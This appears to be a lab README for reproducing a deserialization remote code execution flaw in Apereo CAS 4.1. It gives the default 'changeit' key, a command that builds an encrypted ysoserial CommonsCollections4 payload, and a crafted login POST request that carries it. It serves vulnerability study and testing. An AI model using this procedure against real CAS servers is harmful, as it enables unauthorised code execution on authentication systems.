Aaron
63285f61aa
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77 lines
2.7 KiB
Markdown
77 lines
2.7 KiB
Markdown
# Apereo CAS 4.1 Deserialization RCE Vulnerability
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[中文版本(Chinese version)](README.zh-cn.md)
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Apereo CAS is a enterprise single sign-on system. There is an issue in CAS’s attempts to deserialize objects via the Apache Commons Collections library, which cased a RCE vulnerability.
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Reference:
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- https://apereo.github.io/2016/04/08/commonsvulndisc/
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## Environment Setup
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Execute following commands to start an Apereo CAS 4.1.5：
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```
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docker compose up -d
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```
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After the Apereo CAS is started, visiting `http://your-ip:8080/cas/login` to see the login page.
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## Exploit
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The out-of-the-box default configuration of Apereo CAS before 4.1.7, is using a default secret key `changeit`:
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```java
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public class EncryptedTranscoder implements Transcoder {
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private CipherBean cipherBean;
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private boolean compression = true;
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public EncryptedTranscoder() throws IOException {
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BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
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bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
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bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
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bufferedBlockCipherBean.setKeyAlias("aes128");
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bufferedBlockCipherBean.setKeyPassword("changeit");
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bufferedBlockCipherBean.setNonce(new RBGNonce());
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this.setCipherBean(bufferedBlockCipherBean);
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}
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// ...
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```
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We can try to use [Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack) to generate a encrypted [ysoserial](https://github.com/frohoff/ysoserial)'s serialized object:
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```
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java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
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```
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Then, intercept and modify the http request from login action of `/cas/login`, put the payload into `execution`'s value:
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```
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POST /cas/login HTTP/1.1
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Host: your-ip
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Content-Length: 2287
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://your-ip:8080
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://your-ip:8080/cas/login
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Accept-Encoding: gzip, deflate
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
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Connection: close
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username=test&password=test<=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
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```
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Congrats, `touch /tmp/success` has been successfully executed:
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